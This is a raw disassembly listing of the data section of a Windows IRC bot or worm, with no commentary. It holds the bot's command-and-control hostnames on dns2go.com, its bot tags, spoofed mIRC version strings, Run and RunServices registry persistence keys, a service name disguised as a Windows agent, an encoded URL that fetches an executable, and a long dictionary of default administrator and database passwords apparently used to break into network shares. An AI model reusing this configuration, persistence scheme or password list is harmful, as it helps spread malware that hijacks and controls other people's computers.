		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_427620	dd 2Eh			; DATA XREF: sub_401ACD+3428o
					; sub_401ACD+3514o ...
dword_427624	dd 2Eh			; DATA XREF: sub_401ACD+3850o
					; sub_401ACD+388Ao ...
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D4E2+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_427668	dq 1.388888888888889e-2	; DATA XREF: sub_40D2F4+2Fr
dbl_427670	dq 1.666666666666667e-1	; DATA XREF: sub_40D2F4+15r
dword_427678	dd 0FFFFFFFFh		; DATA XREF: sub_40D340+16Fr
					; sub_40D774r ...
		align 10h
dbl_427680	dq 1.333333333333333	; DATA XREF: sub_40D340+79r
dword_427688	dd 2 dup(0)		; DATA XREF: sub_40D4E2+4Do
					; sub_40D824+5Bo ...
dbl_427690	dq 9.765625e-4		; DATA XREF: ___:00416A5Dr
					; ___:00416A78r ...
dbl_427698	dq -1.52587890625e-4	; DATA XREF: sub_417E84+3E5r
dbl_4276A0	dq 3.0517578125e-4	; DATA XREF: sub_417E84+3C5r
dbl_4276A8	dq -3.0517578125e-4	; DATA XREF: sub_417E84+342r
					; sub_417E84+3A7r
dbl_4276B0	dq 1.52587890625e-4	; DATA XREF: sub_417E84+271r
dbl_4276B8	dq -1.739501953125e-3	; DATA XREF: sub_417E84+24Br
					; sub_417E84+2D5r ...
dbl_4276C0	dq 3.11279296875e-3	; DATA XREF: sub_417E84+E1r
dbl_4276C8	dq 3.0517578125e-5	; DATA XREF: sub_417E84+AEr
					; sub_417E84+138r ...
dbl_4276D0	dq 6.103515625e-5	; DATA XREF: sub_417E84+93r
					; sub_417E84+308r
dbl_4276D8	dq 2.288818359375e-3	; DATA XREF: sub_417E84+21r
dbl_4276E0	dq -3.0517578125e-5	; DATA XREF: sub_418BD1+2Br
flt_4276E8	dd 9.765625e-4		; DATA XREF: sub_41AA1E+1B0r
flt_4276EC	dd 8.0			; DATA XREF: sub_41AA1E+1AAr
flt_4276F0	dd 0.0			; DATA XREF: sub_41AA1E+171r
flt_4276F4	dd 1.0e-3		; DATA XREF: sub_41AA1E+168r
dbl_4276F8	dq 1.0			; DATA XREF: sub_41D055+6Cr
					; sub_41D19B+6Cr ...
		dd 0FFFFFFFFh, 41E2AAh,	41E2BEh
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041E5B8o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041E579o
		align 4
byte_42773C	db 6			; DATA XREF: sub_41FF3F:loc_41FF96r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43D094o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43D090o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43D30Co
dbl_427860	dq 0.0			; DATA XREF: sub_421BFF+8Cr
					; sub_421BFF+ACr ...
dbl_427868	dq 4.195835e6		; DATA XREF: sub_422114+Fr
dbl_427870	dq 3.145727e6		; DATA XREF: sub_422114+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_422152+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_422152o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_422279+93o
		align 4
dword_4278A8	dd 0FFFFFFFFh, 422964h,	42296Eh, 0 ; DATA XREF:	sub_4228FD+5o
dword_4278B8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422A2C+5o
		dd offset loc_422AEA
		align 8
		dd offset sub_422AC8
		dd offset sub_422AD2
dword_4278D0	dd 0FFFFFFFFh, 422D1Ah,	422D1Eh, 0 ; DATA XREF:	sub_422B62+5o
dword_4278E0	dd 0FFFFFFFFh, 422D7Ch,	422D85h, 0 ; DATA XREF:	sub_422D26+5o
dword_4278F0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422DFC+5o
		dd offset loc_422E4D
		align 10h
		dd offset loc_422E39
		dd offset loc_422E3D
dword_427908	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422E52+5o
		dd offset loc_422EA3
		align 8
		dd offset loc_422E8F
		dd offset loc_422E93
dword_427920	dd 2 dup(0)		; DATA XREF: sub_4232A8+36o
					; sub_4244F4+39o ...
dword_427928	dd 0FFFFFFFFh, 4233B8h,	4233BCh, 0FFFFFFFFh, 42346Ch, 423470h
					; DATA XREF: sub_4232A8+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43D4DCo
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_423DD1+119o
		align 10h
asc_427BF0	db 0Ah			; DATA XREF: sub_423DD1+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_423DD1+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_423DD1+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_423DD1+7Do
		align 10h
dword_427C30	dd 0FFFFFFFFh, 4245EDh,	4245F1h	; DATA XREF: sub_4244F4+5o
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_425029+3Do
		align 10h
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_425029+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_425029+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_425973:loc_425A68o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_425973+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_425973+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_425973+ADo
		align 4
		dd offset dword_427DAC
off_427C90	dd offset loc_4260E2	; DATA XREF: sub_4260BA+8o
					; sub_4260FE+2Co ...
		dd offset sub_4260D5
		dd offset sub_4262F6
		dd offset dword_427DF8
off_427CA0	dd offset sub_42614C	; DATA XREF: sub_4260FE+3Ao
					; sub_426168o ...
		dd offset sub_4260D5
		dd offset loc_426332
dword_427CAC	dd 0			; DATA XREF: sub_4260FE+16o
					; sub_4261D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426173+11o
		dd offset dword_427E44
off_427CCC	dd offset sub_42625B	; DATA XREF: sub_426277o
					; sub_42629A+37o ...
		dd offset sub_4260D5
		dd offset loc_426314
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42629A+11o
		dd offset dword_427E88
off_427CEC	dd offset loc_4264A5	; DATA XREF: sub_426490o
					; ___:off_43DAE4o ...
		dd offset dword_427EB8
off_427CF4	dd offset loc_4264C1	; DATA XREF: sub_4264DD+8o
					; sub_42651A+8o ...
		dd offset sub_42657A
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_42657A+7o
		align 10h
dword_427D10	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_426587+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427D30	dd 0FFFFFFFFh, 426738h,	42673Ch, 0FFFFFFFFh, 4267B5h, 4267B9h
					; DATA XREF: sub_426636+5o
dword_427D48	dd 0FFFFFFFFh, 4269ADh,	4269B1h, 0FFFFFFFFh, 426A0Ah, 426A0Eh
					; DATA XREF: sub_4268C1+5o
		dd 43DAE4h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427D78	dd offset off_43DAFC	; DATA XREF: ___:00427D90o
					; ___:00427DDCo ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427D78
		dd offset dword_427D48+18h
dword_427D98	dd 3 dup(0)		; DATA XREF: ___:00427DBCo
		dd 2, 427D90h
dword_427DAC	dd 3 dup(0)		; DATA XREF: ___:00427C8Co
		dd offset off_43DAFC
		dd offset dword_427D98+4
off_427DC0	dd offset off_43DB1C	; DATA XREF: ___:00427DD8o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DC0
		dd offset off_427D78
		dd offset dword_427D48+18h
		dd 0
		db    0			; DATA XREF: ___:00427E08o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 427DD8h
dword_427DF8	dd 3 dup(0)		; DATA XREF: ___:00427C9Co
		dd offset off_43DB1C
		dd offset unk_427DE8
off_427E0C	dd offset off_43DB3C	; DATA XREF: ___:00427E24o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E0C
		dd offset off_427D78
		dd offset dword_427D48+18h
dword_427E30	dd 3 dup(0)		; DATA XREF: ___:00427E54o
		dd 3, 427E24h
dword_427E44	dd 3 dup(0)		; DATA XREF: ___:00427CC8o
		dd offset off_43DB3C
		dd offset dword_427E30+4
off_427E58	dd offset off_43DB60	; DATA XREF: ___:00427E70o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E58
		dd 0
		db    0			; DATA XREF: ___:00427E98o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 427E70h
dword_427E88	dd 3 dup(0)		; DATA XREF: ___:00427CE8o
		dd offset off_43DB60
		dd offset unk_427E78
		dd offset dword_427D48+18h
dword_427EA0	dd 4 dup(0)		; DATA XREF: ___:00427EC8o
		dd 1, 427E9Ch
dword_427EB8	dd 3 dup(0)		; DATA XREF: ___:00427CF0o
		dd offset off_43DAE4
		dd offset dword_427EA0+8
		align 10h
dword_427ED0	dd 19930520h, 2, 427EF0h, 5 dup(0) ; DATA XREF:	___:loc_426AA7o
		dd 0FFFFFFFFh, 426A90h,	0
		dd offset sub_426A88
dword_427F00	dd 19930520h, 2, 427F20h, 5 dup(0) ; DATA XREF:	___:loc_426AC4o
		dd 0FFFFFFFFh, 426AB4h,	0
		dd offset loc_426ABC
dword_427F30	dd 19930520h, 2, 427F50h, 1, 427F60h, 3	dup(0) ; DATA XREF: ___:loc_426AD0o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427F78h, 4	dup(0)
		dd offset loc_40DA8E
		dd 0FFFFFFFFh, 426ADAh
dword_427F90	dd 19930520h, 1, 427F88h, 5 dup(0) ; DATA XREF:	___:loc_426AE2o
		dd offset off_43DAE4
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42651Ah, 0
		dd offset off_43DAFC
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426218h, 0
		dd offset off_43DB1C
		align 10h
		dd 0FFFFFFFFh, 0
dword_427FF8	dd 1Ch,	426282h, 3, 427FE4h, 427FC8h, 427FACh ;	DATA XREF: ___:0042801Co
dword_428010	dd 0			; DATA XREF: sub_426173+2Eo
					; sub_4262F6+4Bo
		dd offset sub_426168
		dd 0
		dd offset dword_427FF8+8
		dd 0FFFFFFFFh, 426AECh
dword_428028	dd 19930520h, 1, 428020h, 4 dup(0) ; DATA XREF:	___:loc_426AF4o
		dd 0FFFFFFFFh, 426AFEh
dword_42804C	dd 19930520h, 1, 428044h, 4 dup(0) ; DATA XREF:	___:loc_426B06o
		dd 0FFFFFFFFh, 426B10h
dword_428070	dd 19930520h, 1, 428068h, 5 dup(0) ; DATA XREF:	___:loc_426B18o
		dd offset off_43DB3C
		align 8
		dd 0FFFFFFFFh, 0
dword_4280A0	dd 1Ch,	4262DEh, 3, 42808Ch, 427FC8h, 427FACh ;	DATA XREF: ___:004280C4o
dword_4280B8	dd 0			; DATA XREF: sub_42629A+2Eo
					; sub_4262F6+2Do
		dd offset sub_426277
		dd 0
		dd offset dword_4280A0+8
		dd 0FFFFFFFFh, 426B22h
dword_4280D0	dd 19930520h, 1, 4280C8h, 4 dup(0) ; DATA XREF:	___:loc_426B2Ao
dword_4280EC	dd 2, 427FC8h, 427FACh	; DATA XREF: ___:00428104o
dword_4280F8	dd 0			; DATA XREF: sub_4262F6+Fo
		dd offset sub_4260BA
		dd 0
		dd offset dword_4280EC
; ---------------------------------------------------------------------------
		lds	esp, [ebp-5A3AF03Dh]
		retn
; ---------------------------------------------------------------------------
		db 0Fh
; ---------------------------------------------------------------------------
		lds	esp, [ebp-5A3AF03Dh]
		retn
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0FC3A5C5h, 5	dup(70895139h),	75h dup(0)
		dd 70895139h, 15h dup(0)
		dd 0FC3A5C5h, 6	dup(0)
		dd 45560000h, 4F495352h, 6C642E4Eh, 6Ch, 31Eh dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041C183o
		dd offset loc_401205
		dd offset sub_40DB3C
		dd offset dword_40EF1C+1D0h
dword_429010	dd 0			; DATA XREF: ___:0041C17Eo
dword_429014	dd 0			; DATA XREF: ___:0041C174o
		dd offset sub_41DA32
		dd offset sub_420B0D
		dd offset sub_42413E
		dd offset word_424F62
dword_429028	dd 0			; DATA XREF: ___:loc_41C16Fo
dword_42902C	dd 0			; DATA XREF: sub_41C1B3+65o
		dd offset sub_4241E3
dword_429034	dd 0			; DATA XREF: sub_41C1B3:loc_41C213o
dword_429038	dd 0			; DATA XREF: sub_41C1B3+76o
		dd offset dword_424F64+0Fh
dword_429040	dd 4 dup(0)		; DATA XREF: sub_41C1B3:loc_41C224o
dword_429050	dd 80000002h, 429170h, 80000002h, 4291A0h, 80000001h, 429170h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016C5r
					; ___:0040175Ar
dword_429070	dd 0C8Bh		; DATA XREF: ___:004017A6r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_4045D8r
dword_429078	dd 45h			; DATA XREF: sub_401ACD+202Er
					; sub_40BD91+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403BE9r
					; sub_40BD91:loc_40C182r
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403D75r
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_4046FBr
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+643r
dword_42908C	dd 1			; DATA XREF: ___:0040135Er
dword_429090	dd 1			; DATA XREF: ___:loc_401562r
					; sub_4188A6+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A76r
					; sub_401ACD+B30r ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40AAAC+3Ar
					; sub_40AAAC+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aDarksf		db 'Darksf',0           ; DATA XREF: ___:0040127Eo
					; sub_401ACD:loc_40445Do ...
		align 4
aAbosel7V4	db 'abosel7 v4',0       ; DATA XREF: sub_401ACD:loc_404902o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7BCBo
					; sub_401ACD+7C9Ao
		align 10h
aScorti1_dns2go	db 'scorti1.dns2go.com',0 ; DATA XREF: ___:004016B1o
					; ___:0040174Bo
		align 4
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004016D1o
					; ___:00401761o ...
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:004016E8o
					; ___:00401773o
		align 4
byte_4290E4	db 73h			; DATA XREF: ___:loc_401789r
					; ___:00401797o
aCorti1_dns2go_	db 'corti1.dns2go.com',0
		align 4
aFaak_0		db '#FAAK#',0           ; DATA XREF: ___:004017ADo
		align 10h
aSaad__0	db 'saad.',0            ; DATA XREF: ___:004017BFo
		align 4
byte_429108	db 77h			; DATA XREF: ___:00401364o
					; ___:00401388w ...
		db 69h,	6Eh, 64h
		dd 76726573h, 78652E63h, 65h, 6E6E6977h, 61622E74h, 74h
aWindowsSercesA	db 'Windows Serces Agnt',0 ; DATA XREF: sub_401000+Eo
asc_429138:				; DATA XREF: ___:0040AB2Bo
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7D1Do
		align 10h
aF		db '#f',0               ; DATA XREF: sub_401ACD+1E91o
					; sub_401ACD+1EA2o ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+72B4o
					; sub_401ACD+730Co
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40EAo
					; sub_401ACD+423Ao
		align 4
off_42915C	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4096EBo
					; "*@admin.com"
off_429160	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8A7r
					; sub_401ACD+7C3Ao
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 10h
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A3C6+28o
					; sub_41A6EA+28o
		align 10h
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A3C6+D4o
					; sub_41A6EA+D4o
		align 4
		dd 2 dup(1), 70747468h,	772F2F3Ah, 662E7777h, 77656572h
		dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h
		dd 652E6D79h, 6578h, 429938h, 429928h, 429918h,	42990Ch
		dd 429904h, 4298FCh, 4298F4h, 4298ECh, 4298E0h,	4298D8h
		dd 4298D0h, 4298C8h, 4298BCh, 4298B4h, 4298ACh,	4298A0h
		dd 42989Ch, 429894h, 429890h, 0
		dd offset byte_43DB88
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass		; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_0	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer	; "server"
		dd offset aRoot		; "root"
		dd offset aNull_1	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
dword_4294CC	dd 10h			; DATA XREF: sub_401ACD+AE0r
					; sub_401ACD+B0Cr ...
aIntranet	db 'intranet',0         ; DATA XREF: ___:004294B8o
		align 4
aLan		db 'lan',0              ; DATA XREF: ___:004294B0o
aMain		db 'main',0             ; DATA XREF: ___:004294ACo
		align 4
aWinpass	db 'winpass',0          ; DATA XREF: ___:004294A8o
aBlank		db 'blank',0            ; DATA XREF: ___:004294A4o
		align 4
aOffice		db 'office',0           ; DATA XREF: ___:004294A0o
		align 10h
aControl	db 'control',0          ; DATA XREF: ___:0042949Co
aXp		db 'xp',0               ; DATA XREF: ___:00429498o
		align 4
aNokia		db 'nokia',0            ; DATA XREF: ___:00429494o
		align 4
aHp		db 'hp',0               ; DATA XREF: ___:00429490o
		align 4
aSiemens	db 'siemens',0          ; DATA XREF: ___:0042948Co
aCompaq		db 'compaq',0           ; DATA XREF: ___:00429488o
		align 4
aDell		db 'dell',0             ; DATA XREF: ___:00429484o
		align 10h
aCisco		db 'cisco',0            ; DATA XREF: ___:00429480o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: ___:0042947Co
aOrainstall	db 'orainstall',0       ; DATA XREF: ___:00429474o
		align 4
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: ___:00429470o
		align 4
aSql		db 'sql',0              ; DATA XREF: ___:0042946Co
aSa		db 'sa',0               ; DATA XREF: ___:00429468o
		align 4
aDb1234		db 'db1234',0           ; DATA XREF: ___:00429464o
		align 4
aDb1		db 'db1',0              ; DATA XREF: ___:0042945Co
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: ___:00429458o
		align 4
aData		db 'data',0             ; DATA XREF: ___:00429454o
		align 4
aDatabasepass	db 'databasepass',0     ; DATA XREF: ___:00429450o
		align 4
aDbpassword	db 'dbpassword',0       ; DATA XREF: ___:0042944Co
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: ___:00429448o
		align 10h
aAccess		db 'access',0           ; DATA XREF: ___:00429444o
		align 4
aDomainpassword	db 'domainpassword',0   ; DATA XREF: ___:0042943Co
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: ___:00429438o
		align 4
